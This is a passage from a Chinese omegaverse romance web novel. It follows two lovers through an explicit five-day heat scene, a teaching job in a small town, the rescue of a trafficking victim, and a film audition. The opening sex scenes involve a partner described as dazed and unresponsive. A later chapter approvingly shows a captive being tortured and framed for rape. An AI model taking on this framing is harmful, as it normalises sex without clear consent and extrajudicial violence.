宋采舟一整个下午就像个没有神智的娃娃任他摆弄,吃疼了也只会抱他抱得更紧,这样明显激烈的抗拒还是头一回。
“乖,你看我没骗你,没进去。”他又亲了口那红彤彤的嘴唇,还泄愤似的咬了下,“娇气。”
“冷不冷,再抱紧点。”
......
夜空大半边被烟花染成绚烂颜色的时候,席棹刚把人从窗边地毯上抱起来。
宋采舟已经彻底迷糊了,痴痴地挂在他身上,没有半点平时的影子,闭着眼迷迷瞪瞪地讨吻。
他扣着那截泛红的手腕按到玻璃上,揽着腰让人抬头:“睁眼宝贝,本来我们要去七里桥看的,现在只能在这儿,怪不怪你,嗯?”
完全陷入发情期的宝贝当然不会给他回应,只是手心被窗户的温度刺激到,拼命往后回缩身体想躲开,不料吃得更深,哆哆嗦嗦地靠在他胸膛,仰着脑袋吐着热气。
他垂眸看着宋采舟因为强烈的刺激而半睁的失神双眼,里头倒映着烟火破碎而浓烈的斑斓色彩,七彩玻璃珠子似的,于是侧过头在那红透的眼尾烙下一枚吻。
“你是我的。”
席棹还有理智时爱把人抱在怀里耳鬓厮磨:“喜欢你......喜欢。”到后来被那副痴样勾得已经不会说纯情话了,特别是在发现宋采舟对一些不那么健康的词反应更大后,就喘着粗气夸他紧,转脸又骂他骚。
“我这么干/你你会怀孕吗?”明知人不会有反应,他还是爱这么问。
中途因为续房和旅社那边退房的事被强行打断,他只能捂着宋采舟的嘴堵住崩溃的喊叫,交了一大笔续住费后向坐在自己腿上的人变本加厉地讨要:“宋总,对我的服务还满意吗,您看给多少合适呢?”
在发现人已经去得眼神涣散后又爱怜地摸他的脸:“宋总,好没用。”
宋采舟的发情期持续了整整五天,席棹一开始还怀疑自己会不会先坚持不住,结果意外地发现那是完全多余的顾虑,他再一次体会到了先前易感期爆发时的感觉。
不够,怎么都不够。
不需要进食,只有在怕宋采舟脱水的时候会停下给他喂一点。起初还会在意床上哪儿是干的哪儿是刚弄湿的,后来顾不上那些,没地方落脚了就换个房间。
主卧、次卧、客厅、浴室甚至吧台边全是痕迹。
宋采舟就是在一堆皱巴的衣服毯子毛巾的混合物里恢复意识的,睁眼看到的就是席棹腰间
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围着浴巾推门出来的画面。
“你醒了?”来人和他对上视线后第一反应竟是伸手把浴巾系得更紧了些,然后才走近拿手背探他额头和颈侧,说了句,“嗯,不热了。”
距离近了他才发现席棹身上没有任何痕迹,只有嘴是饱满的,唇角带着点消不下去的红肿,抬头往上看,一双眼里透着餍足。
至于自己,他都不用低头拿眼睛去看,只凭身体的感觉就知道发情热已经完全下去了——被弄透了才会这样。
“过去多久了?”没有害羞或是抗拒,因为信息素告诉他他并没有被完全标记,他还是自由的,所以心情不错地伸出舌尖去舔席棹的嘴角,“还好有你在。”
席棹很受用的低头交换了一个湿吻,伸手抱他进浴室,小心地把他放进浴缸:“现在是初五下午了,你躺好,我帮你洗。”
宋采舟从善如流的闭眼享受,温度适宜的水流从脖间开始游走,滚过有痕迹的皮肤会带起一阵酥麻,热感迟迟不退,但他的大脑与之完全相反,冷静得可怕,思考过后开口问出:“席棹,你只喜欢我,对吗?”
身上的手停下动作,他睁眼对上浴室灯下华光璀璨却无比虔诚的眼眸,听到了想要的回答,“我只喜欢你,无论在哪儿。”
“那我接受你的告白,我们在一起吧。”
无声的对视过后,席棹突然问了句:“入住那天我确认过房间里的每个角落,那柜子里的安全套和润滑剂去哪儿了?”
他被逗得发笑:“干嘛,你觉得是我故意扔了?”笑得小腹钝痛后才停下,“在另一边柜子里,我不习惯睡觉的半边放东西。”
席棹顿了下又问:“你不怕怀孕?不是说omega发情期很容易怀孕吗?”
他掬了捧水往人脸上泼:“那是彻底标记后很容易,上课上到狗肚子里去了。”
“那万一我”
“你不会的。”他打断了席棹急切的假设,“你不是那种人。”然后又被狠狠地吻住。
分开后他眯着眼喘气:“不过以防万一以后还是要戴。”
这句变相的承诺听在席棹耳里比任何春/药都管用,当即一步跨进了浴缸抓住意图逃跑的家伙:“躲什么,刚不是还故意撩拨我?”
浴室里激荡的水声迟迟没有消散。
晚上两人出门吃饭,紧闭了整整五天的套房在打开的一瞬间,里头溢出的浓郁信息素侵染了大半个楼道,好在这一层就他们一间。
饶是负责打扫的工作人员是对信息素并不敏感的beta,也还是在看到里头的景象红了脸。
车上,“去吃什么?”开车这种体力活当然由席棹揽下,副驾驶上瘫着的人没好气地瞥他一眼,突然说:“我想起来一件要紧事。”
“嗯?”
“你的穷游计划,泡汤一半了。”
席棹僵住,感觉他没憋好屁,果然——
“所以我决定把你流放了,后面一个星期你自己想办法吧。”
35.第 35 章
刚尝到恋爱甜头不过几天,席棹就被连人带行李“流放”到了真正的凄凉地,计划中第二站N市隔座山相邻的小镇上。
“三天后我会路过一趟,赶不上的话就丢了你。”宋采舟最后还是心软,没真的让他自己想办法回S市,还给他联系了当地的招待所临时落脚。
他把包括那条吊坠在内的所有稍微值点钱的东西都“寄存”到了宋采舟那里,并为此从本就不多的预算里划了一笔寄存费出去,然后带着几张零散纸币到镇上的木工厂当起了临时工。
工头问他这临时工能干多久,他刚回答说三天就被往门外推,“开玩笑呢你,就你这身板三天能干多少活?”
他刚想说自己这绝对不能算小身板吧,转头看到里头吭哧吭哧挥汗如雨的一干猛将们,把话咽了回去。
好在路过门卫室时,他听到里头传出的碎得跟渣似的勉强能辨认出是笛子的声儿,好奇探头看了眼,看到有个和工头几乎一个模子里刻出来的小孩儿在照着本书练习指法。
最后他顺利地以工头家小孩儿兴趣老师的身份得到了一天五十的工资,以及附带的每日三顿饭,工作地点就是木工厂的门卫室。
上课第一天他就见识到了什么叫真正的自来熟。
小男孩儿叫覃浩然,天生嘴碎,吃完饭支着下巴打量他:“老师,你长这么好看,靠脸就能赚钱了吧,你是omega还是alpha,总不能是beta吧,我没见过像你这样的beta,我爹那样的倒是很多。”
他拿竹笛试了音,把书翻到口型那一页,心不在焉地问:“我什么样,你爸什么样,不都两只眼睛一个鼻子一张嘴。”然后把笛子塞到小孩儿手里,拍了拍他后背,“坐好,别跟没骨头一样。”
覃浩然嘴碎归嘴碎,但还是听话的,立马挺直了背装模作样地横着笛子吹,吹出几团不成音调的气声后跟蔫了的茄子似的耷拉下肩膀,沮丧地说:“alpha和omega都有地方争着要,但医院说我以后肯定是beta,像我这样不会读书的beta,如果不努力学门手艺,将来就只能跟我爹一样卖力气,才四十多腰就不行了。”
“所以你学这个是想拿它当手艺赚钱?”
覃浩然点点头又摇头:“也不是,我在田里听见别人吹很喜欢,我娘就给买了这把竹子做的吹着玩,但那个人吹的是银色的,声儿可好听了,和这个不一样。我爹说如果我能拿这把吹好了,他就给我买银的。”
他顿了下,没说别的,做了个口型:“你嘴不对,得这样出气。”
第一天学完,覃浩然勉强能吹出完整的音阶,只是老在破音边缘转悠。他调整完口型调角度,调完角度又盯呼吸节奏:“吸气,气沉下去,腹式呼吸,知道哪儿是腹部吗?”
这些都抓的差不多以后他崩溃地发现是覃浩然的手太小,和这把竹笛的孔位不太匹配,换指的时候总漏一丝。
第二天一早他跑店里花了一天工资买了把小的竹笛,仔细检查了没有破损开裂后才揣着到厂里,拿出来的时候小孩儿嘴里还塞着鸡蛋没咽下去,没听完他说的话,眼泪就哗一下涌出来,梗着脖子抱着他说谢谢老师。
谢也没用,又教了一天,他发现这小孩儿确实没什么音乐天分,太跳脱了,想到什么是什么,不喜欢照着谱,一心想搞什么自创曲,可惜没有任何基础乱吹一气的自创曲犹如魔音贯耳。
“五十块钱挣得真不容易。”拖着被魔音熏得嗡嗡响的脑袋回到招待所的时候,被掀掉一半的破烂窗子和满地的积水让他意识到,苦难才刚开始。
招待所是间平房,又年久失修,一遇上暴雨天必然积水,只是以前没人会住,这种事不会被在意。
镇上的人睡得都很早,他也不好意思去麻烦负责打扫招待所卫生的老人,摸着兜里零散的纸币,咬了咬牙给工头打了电话,问能不能借住门卫室一个晚上。
覃工性子直爽,知道原因后二话不说就答应了,还嘱咐他走夜路小心。
九点半街上已经没什么人了,只有老旧的路灯时不时滋一下断线又连上,远看还有点瘆得慌,好在招待所离木工厂不算很远,走路十五分钟就能到。
镇子上不全是水泥路,有些民房之间的小路其实更快更方便,但今天下了雨,小路上的泥还没干透,他看了眼积着水洼还反光的泥巴路,还是打算从大路走。
刚要转身离开,小巷里面传来了奇怪的碰撞声,还有隐约的呜呜声。
他的脚步顿住,呼吸放得极轻侧耳去听,那声音越来越明显,不像动物,像人。
几乎是意识到的一瞬间他就抓起一块地上的砖侧着身往里走去,很快在一处拐角停下,动静就是从拐角后头传出来的。
“唔!唔唔。”呜咽声时强时弱没有节奏,也没有其他音节。
他屏着呼吸听了半分来钟,确定周围没有第三个人的迹象,发出声音的是一个人,而且像是个嘴被堵住的人,想了想,伸手在水泥墙上叩了两下。
那呜咽声立刻停下了。几秒后,有小石子被一颗接一颗踢过来,都不远,踢的人明显力气不大。
他终于停止憋气,转过拐角,然后看到短巷里有个细瘦人影正跌坐在杂物堆中,两条腿瘫在地上不停地抖。
“你怎么了?”他打开手机照明往里面走了两步,光打到对方脸上,“你。”虽然沾满了脏兮兮的灰尘泥巴,但他还是认出了那张脸。
南希。
“唔!唔唔唔!”南希的嘴被胶带封着,看到他以后疯狂地摇头,他心下奇怪的同时,发现对方的两只手都背在身后,像被绑着。
这是和奎恩在搞什么玩法?但很快这念头就被否定,因为他看到了南希脖子上触目惊心的伤痕。
几乎可以确定这不是情侣间的什么把戏后,对方狼狈的样子让他瞬间联想到了——绑架。
杂物堆并不工整,带着明显被重物砸落弄乱的痕迹,他想起刚才听到的那声儿,抬头往上看了眼,果然发现木
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片围栏中间的破损,于是猜南希是从那上面跌下来的。
走过去蹲下,帮人揭开了嘴上封着的胶带,正要去解手腕上的麻绳时,南希突然一下将他扑倒在地,整个人趴在了他身上。
“你!”
“嘘,把手电筒关了!别出声!”南希的声音沙哑得和之前判若两人,急切地在他耳边低声催促,“快点!”
他这才意识到对方扑的不是他,而是他的手机。摸索着关掉照明,两人保持着倒地的姿势闭紧了呼吸。
不一会儿,隔墙传来了阵阵脚步声,似乎在原地停留了片刻后又由近及远,离开了。
又等了几分钟南希才倒抽着冷气爬起来,转身示意他解手上麻绳。“你被绑架了?”他边费力地拆结边用余光瞥着周围问。
“之后再解释,先带我走。”
他看着那双很自然伸过来的手:“干什么?”“我腿摔断了,走不了路,你抱我。”
沉默了片刻,他突然拿手指在那截小腿上戳了下,南希整张脸皱成一团却忍住了没发出声音,只是不停地抖。
“起来,我背你去医院。”席棹终于相信了这人没有撒谎,南希却咬着唇摇头说:“不能去医院,医院里很可能有他们的人。”
“他们?”
“反正现在不能去。”
“......”他没再多说什么,背着人出了小巷。
木工厂门卫室里,南希洗了脸换了席棹弄来的干净衣服,面色惨白地倒在休息室小床上,气若游丝还不忘挖苦他:“你一开大G的就住这种地方?什么意思,大少爷体验生活来了?”
他按下手机录音放到一边,神色严肃:“说吧,到底怎么回事。”
南希闭眼转头,嗤笑一声:“还能怎么回事,被人骗来卖了呗。”
“奎恩?”
“他不叫奎恩,那是编的名字。”南希攥紧被子恨恨道,“亏我真心实意跟他处了大半年,答应和他来这边旅游,结果刚到就把我卖了。”
“你说的那伙人到底是什么人。”
“腺体商人。”南希的语气轻了下去,“像我这种没背景的omega,全身上下最值钱的就是生育功能和腺体,腺体一次性的来钱快,还不像生孩子要等那么久,是最容易被他们盯上的目标。”
席棹听得很仔细,每一个字都认认真真地琢磨了几遍,问道:“我看你不像是智商有缺陷的样子,反倒很聪明,怎么会被那种人骗到?”
南希明显僵了下,随即抬头看着他苦笑:“这位先生,你也见过奎恩,你猜我为什么?”
“当然是因为我喜欢他,把他当做知己和灵魂伴侣,毕竟和我臭味相投的人真不多,愿意陪我玩儿那些把戏的就更少了,但显然,不是每个人都像你一样有好运气的。”
他和南希对视,最后目光落向那截有些不自然的弯曲着的小腿,“天亮后我带你去医院,然后去报警,该怎么说怎么做你自己掂量,我不想掺和。”
36.第 36 章
西部三省天亮的晚,趁厂里来的人还不算太多,席棹带南希从侧门溜了出去,走之前给覃浩然留了张纸条布置了早上的作业:“音阶练习一百次,‘新年好’的指法练习一百次,下午检查。”
南希的腿已经走不动路了,只能让他背着送进出租车,镇上没有大型医院,他看了眼脸上毫无血色的人,还是对司机说:“师傅,去隔壁市的人民医院,路上看到银行麻烦靠边停一下,我取个钱。”
出租车司机一大早接到这种长途单子,还是去医院的,二话不说就是一脚油门,时不时通过内后视镜偷摸打量两人。
被打量的两人昨夜都没有睡好,南希是因为有伤,好不容易睡着没几分钟就会被痛醒,半夜恨不得把自己的腿给锯了,所以刚上车沾了座儿就困顿地闭眼休息。
席棹则是在怎么处理这件事上反复挣扎。他不想掺和进这种刑事案件中,更不想因为南希打乱接下去所有计划,但同时他也做不到丢一个刚脱离虎口还受着重伤的omega独自面对即将到来的所有困难,特别是在知道了对方的身世以后。
“我爹妈早没了,要不然你以为他们能放我到处乱跑?”他想起南希说这话时满不在乎的模样,和那时候因为父母离婚赌气辍学去跑龙套的自己如出一辙。
近两个小时的车程,边上的病患几乎睡了一路,连他中途下车去取钱都没有反应,直到被他用租来的轮椅推进诊室才迷迷糊糊地醒来。
“......”对上老医生审视的眼神,南希说:“我晚上去阳台收衣服没开灯,爬到水槽上拿被风刮到顶板的衣服,脚滑了下从二楼摔下去了。”
席棹看着他面不改色张口就编的样子,在心里翻了个白眼。
老医生戴上眼镜在他腿上左右看看捏捏,表情严肃起来:“去拍片。”说着摇铃叫进来个护士,“小孟,你带他去,MRI。”
席棹一愣,刚想开口就被打断:“家属留下,跟着你也进不去。”等护士推着南希离开后,老医生在键盘上敲敲打打,目不斜视地问他:“和患者什么关系。”
“不是家属,是”他顿了下说,“是朋友。”
“哦,朋友。”老医生推了下眼镜,“那你没有签字权,让他家里人来。”
他听这语气就知道对方误会了,皱眉说:“我和他不是恋人关系,他已经成年了,自己可以签字。”
老医生摆了摆手:“他是omega,我这儿担不起那个风险,还是让他家里人来一趟吧。”然后语气一转,“你既然是他朋友就该好好劝劝他,身上那都是什么痕迹,啊?不能仗着年轻就一点分寸不顾,万一出事了呢?”
他被迫听着,还是忍不住道:“没人签字的话会怎么样,他家人、都不在了。”老医生反应过来这个不在了的意思,打档案的动作停下了,“那就只能等他出来先签免责声明再说了。”
MRI至少要一个小时才能出结果,南希被推回来的时候,他已经有些坐不住了,“我下午还有事必须要回去,你自己决定吧,到底怎么样。”
南希知道他说的是报警一事,撇撇嘴:“我决定?我可没精力和钱浪费在那事上。”
他深吸口气,郑重地询问:“你确定?如果照你说的,这件事就到此为止,你受的伤永远都不会有结果,至于奎恩,也不会得到他应得的下场。”
南希的脸色变了又变,本就没什么血色的嘴唇更是被咬的惨白一片,最后情绪失控地喊了句:“够了!你帮了我我很感谢你,但这件事本来就和你没关系,你别再掺和了!”
他沉默地看着埋头的人,片刻后把装钱的信封塞到那双手中:“你说得对,我只能帮你到这儿了,拿着,就当我买个心安。”
席棹离开后,南希在走廊尽头一个人呆了很久,最后紧抓着被眼泪打湿的信封回诊室,“医生,我这腿还能治好吗,不行的话就算了,我还省笔钱。”
老医生看他显然刚哭过的样子,又看了看检查结果,有些于心不忍:“你这拖了有一段时间了吧,本来你年轻身体底子好,慢慢养着是没什么问题的,但现在......现在就算养好了多半也会留后遗症。”
“喔。”他恨恨地咬着牙,想到那个拿棍子打断他一条腿的人,满口都是血腥味,随即又松了口开始在心里嘲笑自己。
谁让我运气这么差,翻个墙摔下来还能摔到同一条腿的同一个地方。
明明已经那么小心了。
“那算了,给我打个石膏固定一下就行,手术我就不做了。”他抹了抹眼睛说。
四十分钟后南希自己转着轮椅出了医院大门,在冷风中鼻子眼眶被冻得通红,抬头看看灰蒙蒙的天,想着自己是不是多余费那劲儿逃出来,是不是干脆就烂在那个小黑屋里更好。
正想着,身前突然出现两名身形健硕的黑衣人,“南希先生,请不要叫喊,我们老板有事找你。”
他是抱着死就死了反正已经是烂命一条的心思跟着黑衣人走的,在看清屋里坐着的人以后,一晃神还以为自己出了幻觉,使劲眨眨眼,突然笑了:“真是没想到会以这种方式再见,我真是白长了5.0的视力,看人总是这么不清。”
宋采舟让保镖出去,伸手示意他面前的座位说:“你腿有伤,我就没让人加垫子,坐吧。”
南希睫毛一抖,搀着扶手慢慢坐下,问道:“你和帮我的那位、是什么关系,你在监视他?”除了监视,他想不到其他的可能性能让自己和面前这位“老板”扯上关系。
“这么说难听了点,但,是的。”宋采舟翻开手边的档案本,语气平淡,“他是我非常重要的人,我不会让他在我的视线范围外陷入危险。”
两人隔得并不远,南希眼神又好,所以一下就看到了档案页上自己的照片,“好吧,那既然你已经调查过我了,应该知道我和他只是偶遇,我可没有染指你的人。”
他可以因为没钱和心底隐秘的感情放弃报警,自己偷偷地换个地方过日子,但现在怎么看,眼前这位比奎恩和买下他的那个人都更可怕,他还不想以后日日生活在担惊受怕中,所以连忙解释道。
宋采舟翻了一页,简单扫了两眼,“别担心,我找你来不是为了他。”随即抬头看向南希,“我看上的是你。”
“我?”他狐疑地观察起对面人的样貌,甚至仔细嗅了嗅周围的气味,“你不是alpha吧,看上我?我能做什么?”
“你是不是觉得alpha天生高人一等,omega除了臣服和依附他们没有别的选
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择?”
南希愣了下,因为他很明显的感觉到这人情绪变了,虽然表情依旧淡淡的,但有种周围都冷下来的窒息感,不由得咽了咽口水:“虽然不是绝对,但现在社会总体不就是这样吗?尤其是我这样”
“尤其是你这样父母双亡无权无势又备受发情期困扰所以只能不停地找alpha解决的omega,是吗?”宋采舟兴致缺缺地啪一声合上档案,打断了他的话,“我明白了。”
明白了?明白什么?没等他思考这是什么意思,面前的墙壁就从中间向两侧拉开,露出了后边藏着的密室。
里面的X型架上吊着一个人,被蒙着眼绑着四肢,一头粉发上沾满了泥巴和木屑,是奎恩。
奎恩的嘴和耳朵都没有被堵住,听到动静后开始破口大骂:“我操你妈的敢绑老子,老子找人弄死你!他妈的给老子”
一杯水泼到了他脸上,他被呛到后开始剧烈地咳嗽起来,整张脸和脖子瞬间通红。
宋采舟把纸杯一扔,嫌脏似的拿纸巾擦了擦手,走到呆滞的南希身后,两只手覆上他肩膀,矮下身道:“和我做个交易怎么样,只要你签了这份协议,明天就能在新闻上看到他被送进监狱,我保证,他这辈子都出不来,如果你觉得这还不够,想让他因为狱内斗殴意外死亡,也可以。”
“而你,我会让人治好你的腿,给你一个新的身份,从此就为我工作,你从前和现在所有的烦恼也都会消失。”
南希垂眼看着递过来的黑色档案,牙关开始发抖。
宋采舟看他吓得手指哆嗦,好心的替他翻开。“反正你觉得omega不好,那摘了这个腺体对你来说百利无一害,不是吗?”
档案页上是详细的腺体摘除手术流程,而术者一栏已经写上了——姜南希。
“半小时后我会回来,你自己决定吧。”
宋采舟离开了,奎恩终于缓过气来又开始对着空气骂,越骂越崩溃,最后开始嚎啕大哭:“求求你放了我吧!我可以当牛做马干什么都行啊只要饶我一命!我不想死我真的不想死。”
南希眼眶红了,感觉腿疼到快要坐不住,最终在奎恩渐弱的哀嚎声中提笔签下了自己的名字。
“谁想死,我要活着。”
......
半小时后,宋采舟回来了,看了眼架上满脸水渍已经昏死过去的奎恩,朝一旁拎着水桶的南希笑了下,问:“这是你们以前最喜欢的玩法吗?”
“我不喜欢,但他喜欢。”南希朝奎恩脸上狠狠扇了几巴掌又啐了口,“我要喊好几遍安全词他才会放手。”
“喔~”宋采舟若有所思地拿起桌上档案确认,“行吧,想好以后叫什么名字了吗?”
南希放下水桶揉揉酸痛的手腕说:“既然以后我是你的人了,那当然要用你给的名字。”
“上道,我喜欢。”宋采舟走过去,拿档案本的一角轻拍了两下他的脸,朝一旁抬下巴,“那他呢,你想怎么处置?这个不用问我意见,给你特权,你说了算。”
“我听说那里面强/奸犯最容易被针对,是真的吗?”
宋采舟挑眉,点了点头。南希长出一口气道:“那就让他顶着强/奸犯和人贩的罪名永远在里面待着吧。”
37.第 37 章
席棹赶在午饭前回到了木工厂,推开门卫室那扇小木门的时候正好看到覃浩然放下笛子。
“老师你回来啦!我没偷懒哦,已经都练完了。”男孩儿说着龇牙咧嘴地甩了甩手,“你说下午检查的,那我们先去吃饭吧!”
他筋疲力尽地扶着椅背坐下:“我没胃口,就不去食堂了,外面地滑你别跑,走过去的时候小心点。”
看着覃浩然离开,他呆坐半晌后还是给宋采舟打了个电话,一五一十说了昨晚发生的事。
“我不知道这么做到底合不合适,采舟,以你对omega的了解,他会不会再招惹上那种人?”
宋采舟的声音温柔地传来:“听你说的就知道他是个聪明人,聪明人不会在同一个陷阱摔倒两次,你已经尽力了,先好好休息吧,下午我过去接你。”
有了爱人这番安慰,席棹像卸下了重担,整个人轻松许多。午休结束后他检查了给覃浩然布置的作业,又给他安排了一些能增强指法连贯性的练习。
太阳快落山的时候,他三天的兴趣老师之路也到了终点。
覃浩然收拾好自己的小包,欲言又止地看着他,故作深沉地皱起眉:“老师,我......我给你做了个礼物。”
他正要拒绝,就看见男孩儿从帆布包里掏出一筒卷着的白画纸小心翼翼地递过来:“我没有手机,是照着自己的印象画的,我知道阿爹给你的工资不高,以后你可以拿着这幅画来找我,我一定把少的补给你!”
他忍不住笑了,接过“礼物”展开,是一幅用蜡笔画的半身像,说实话根本看不出是他,但明亮的色彩和铺满细节的背景还是让人心情一下子好起来。
“谢谢你,覃小画家。”他摸了摸覃浩然的头,蹲下/身认真地说:“浩然,你记着,不要觉得beta不如omega或者alpha,人的价值不靠性别来衡量。”
这种话题对于一个十岁出头的小孩来说还是太深奥了,覃浩然显然没有听明白,但还是板着脸郑重地点点头说知道了会记着的。
“做自己喜欢的事,也许以后我能在更大的舞台上看见你呢。”
日落后没多久,席棹就带着行李和那幅画坐上了宋采舟的车。
“我们得提前回去了。”宋采舟把手机屏幕朝向他,上面鲜红的板块头条十分显眼,“本来要去的最后一站周边疑似有边境人口贩卖团伙作案,已经实施整片区域封禁了。”
“人口贩卖?”他心一顿,“这么巧吗,会不会和南希那件事有关?”
宋采舟设置好目的地,向着昏暗天际发车,“其实不巧,边境的话这种事也不是第一次了,这几年还好点,再早些年那才叫混乱。”
他还在因为这番话出神,就听见宋采舟转头问道:“这样的话,你的穷游计划是不是就彻底失败了,要不换个地方,去南边点的也行。”
“算了,北边还能考虑,但南边真的不行,整体环境和人文都差太多了。”
而且西部三省和南边省市中间横亘着一大片山脉,远没有从东边来这儿方便,要开车过去实在太辛苦。
他摇摇头:“那个项目的故事背景里强调过,里面的角色一辈子都没能翻过那片山,就当我迷信,还是回S市吧,回去以后还有一段时间,我再想想办法。”
可惜天不遂人愿,刚回到S市没两天,席棹就收到了替身剧组那边让他准备后期配音的消息,范正仁甚至亲自打了电话询问他年后方不方便跟组宣传。
本来跟组宣传这种间歇式长期工作只要保证男女主到位就行,但考虑到之前那波曾英睿替身八卦,资方觉得他最好还是跟着出镜,并且把这个压力给到了范正仁头上。
他不好自作主张给回复,所以还是转头问了乔颖。
“说实话不方便。”乔颖的态度很明确,“崔导的项目一直都是封闭保密式的,不说工作上的冲突,就算是演员本人生病或者易感期发情期,都得在剧组配备的医疗团队视线范围内治疗,否则顶着违约金和违约条款,她也照样让人退组。”
“这件事我去和范导解释,你专心准备月中的试镜。”
于是他和配音团队那边协商过后,把虞陵一角的配音工作从原定的八天直接压缩到了四天。
结果就是在距离月中《大雾》选角还有不到一周的时候,他因为急性咽喉炎被禁止发声了。
“我就两天没在,一回来就看到男朋友成了哑巴。”宋采舟吹凉了汤羹一勺一勺喂给他,“你总是这样没分寸,我真的不放心再让你自己规划工作了,你那个助理呢?”
他偏头躲开,示意宋采舟伸手,然后在其手心比划着写字。
宋采舟被挠的发痒,干脆放下碗摊着两只手心,面露疑惑:“你想说什么,我看不懂。”
他一急,拿起手机打字——老公。
“诶。”宋采舟笑眯眯地应了,他这才反应过来这家伙就是故意的,顾不上纠正自己的身份,一伸手把人压倒在床上。
摁着人狠狠收拾一通,发了汗以后他浑身轻松了不少,抱着筋疲力尽昏昏欲睡的宋少爷事后温存,把打好的字凑到对方眼前——叫。
“叫什么?刚叫的还不够吗?”宋采舟眯着眼装睡,被腰间围上来的手激得慌忙开口:“好好好老公老公,不来了真不行了,明天我得见个重要客户。”
离选角还有两天的时候,席棹的焦虑到达了顶峰。
他趁着病情好转了一些,对着镜子练了半小时的形体和方言,最后成功地把还未痊愈的喉咙彻底拖垮,连吸气都跟铁片划黑板似的,甚至耳朵周围都痛感明显。
乔颖发现后把林善善调派了回来,勒令她看牢席棹的一举一动。
“哇席哥,这就是你家吗?”林善善第一次到家门口接人,被玄关处挂的各种艺术画惊得目瞪口呆,“没想到你居然是这种、这种肉食系的。”
“?”他转头看了眼那些只有色块没有线条的画,没明白它们怎么就和肉食系扯上关系了。
林善善一副“我懂”的表情:“这么看其实你和R国那位艺术家确实挺像的,席哥,你是不是有对象啊?”
他也没遮掩,直接打字——这就是我对象的家。
“明白明白!”林善善嘿嘿一笑,抬手在嘴前做了个拉上拉链的动作,“那你给嫂子去个消息吧,就说我们准备出发去W市了,估计后天晚上回来。”
他松开手指,刚才一直录着的语音就发了出去,宋采舟回了个一路顺风的表情,又在后面接了句四秒的语音,他点开:“加油老公,等你回家。”
林善善转身的动作僵了下,扭头面露难色:“哥......嫂子的声音有点耳熟,不会是我想的那个吧?”
他抬眼思考了下,想起宋采舟确实在去替身剧组探班的时候见过林善善,于是很认真地对表情崩坏的小助理点了点头。
两天后的上午,W市海港大厦的某层,选角现场的人很多。
席棹衣摆上贴着号码牌,找了个通风的角落闭眼休息。陪同的人是不能上这一层来的,所以林善善只能在楼下等着。
他被工作人员带上来的时候,刚进大厅就察觉到了几道不太友好的视线,粗略扫了眼发现并没有眼熟的面孔后干脆就远离了人最多的中
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心等待区。
乔颖告诉他这次选角针对的是电影里四番开外的所有配角,而且是不对外公开的,能参加的人都或多或少在圈子里有特殊人脉。
“看你自己的感觉,有想结交的可以主动些,不想那么麻烦的话避远点就行。”
他透过窗看远处的平房区轻呼口气,想着:“没开始就已经敌意这么强了,还谈什么结交不结交的,不都是虚情假意。”
身后传来一阵轻咳,他回头,看到一个白净清秀的男生有些局促地站在那儿,看了他一眼又移开视线,小声地说:“那个,刚才那边已经叫51到55号了,我看你是61号,怕他们在大厅没看到把你给漏了。”
他反应很平淡,点点头:“谢谢,我这就过去。”
擦身而过的瞬间,男生柔和的声音说:“我叫林呈淼。”
“喔。”他回头,“席棹。”然后快步往大厅走去。
五人一组进去得很快,开始不过二十分钟就有人来叫:“61号到65号跟我走。”他估算了下时间,觉得这很有可能只是第一轮,也就是按组进去看整体形象,评委觉得合适就放进下一轮,不合适就直接刷了。
这在任何影视项目选角里都很常见,但他没想到这种“牵线制”的也会用这样不留情面的方式。
事实和他猜想的基本没有差别,他们这一组五个人刚被带进房间,连评委席上几个人的脸都没看清,就听到:“64、65可以走了。”
他循声抬眼,看到评委一共六人,桌上没有任何能代表他们身份的指示牌,发话的是左起第二位,一个戴着墨镜的金发女人。
“可、可是我还没有自我介绍。”65号反应倒是不慢,很不服气地说。
金发女人转了下手中的笔,用笔尖点了两下桌面,有些不耐烦道:“不需要,只要我们中有一个人判断不合格你就可以走了。”说着她刻意停顿一下,然后转头问其他几人,“你们的意见呢?”
剩下五名评委几乎同时举起了自己面前的牌子,清一色的红叉。
65号不知是受到的打击太大还是觉得没面子无地自容,没再说话,低着头从另一扇门被带出了房间。与之相比64号就从容很多,走前还不忘朝评委席上几人鞠躬道谢。
两人走后,金发女人又发话:“侧面、背面,转一下。”
他刚向右转身,脚跟还没落地就听到一个沙哑的男声:“62走吧。”只有很简短的一句话,没说原因。
他察觉到身后那人一下子沉重起来的呼吸,匀速地转完身重新回到正对评委席的方向,然后听到旁边的62号不甘心地问:“请问我能知道自己是哪里有问题吗?”
他的语气不像65号那样傲慢,可能正是因为这点,金发女人左手位的男人竟开口解释了:“你转身发力的方式不太对,你是扁平足吧,这个电影就算是配角动作戏也不少,对你来说太冒险了,或许你自己愿意,但我们不希望有这样的潜在风险。”
男人解释得很清楚,62号也只能接受,抿着唇走向刚才两人离开的那扇门。
“61和63通过,去下一轮。”
席棹跟着指引的人走向背景板后方,发现那里原来还有一扇藏着的门。
进门后是一间小型的会议厅,摆着的几排椅子上只坐了寥寥十来号人,他这才意识到自己这组剩两人已经算很多了,之前那些组多的是全数淘汰的。
正前方的白板上挂着“保持安静,叫号进隔间”的牌子,他打开座上准备的水喝了口,在看到正好从隔间走出来的人时差点没憋住。
满脸通红的,曾英睿。
38.第 38 章
曾英睿的神色显然不对劲,扭曲着脸瞪了白板上的警告牌一眼,把身上的号码牌撕下来“啪”一声贴了上去,最后在众人惊愕的注视下从角落的小门离开了。
等到席棹被叫到号进隔间后,他才意识到曾英睿为什么表现的那样失态。
隔间里竟是临时体检室,两位全副武装的医生在他进门后的第一时间就上来拖了他的外套。
看着被扔进一边柱形玻璃仪器里的衣服,他略感荒唐的走到桌前,看到了桌上早已准备好的问卷。
“第一次性关系发生在几岁?”
“第一次性关系的对象是什么性别?”
“和多少人发生过性关系,请填写大致范围。”
“是否有稳定的性关系对象?”
“最近一次性关系发生在什么时候?”
“以上问题请如实作答,我方将绝对保密。”
他嘴角抽搐着心想,这些问题没一个能当着陌生人的面说出口,怪不得用这种书面的形式,想来曾英睿是在这儿出了问题。
不过项目方这么做虽然很容易让人难堪,但目的其实不难理解。
一个需要绝对保密的项目,当然不允许组里演员因为个人问题影响整体,做背调把私生活包括进去的其实也挺常见,原来那个世界就是如此,更别提是这个还有abo性别和信息素的世界。
但这样摆到台面上的提问总好过背地里偷偷摸摸的调查。
于是他提笔照实写下了答案。
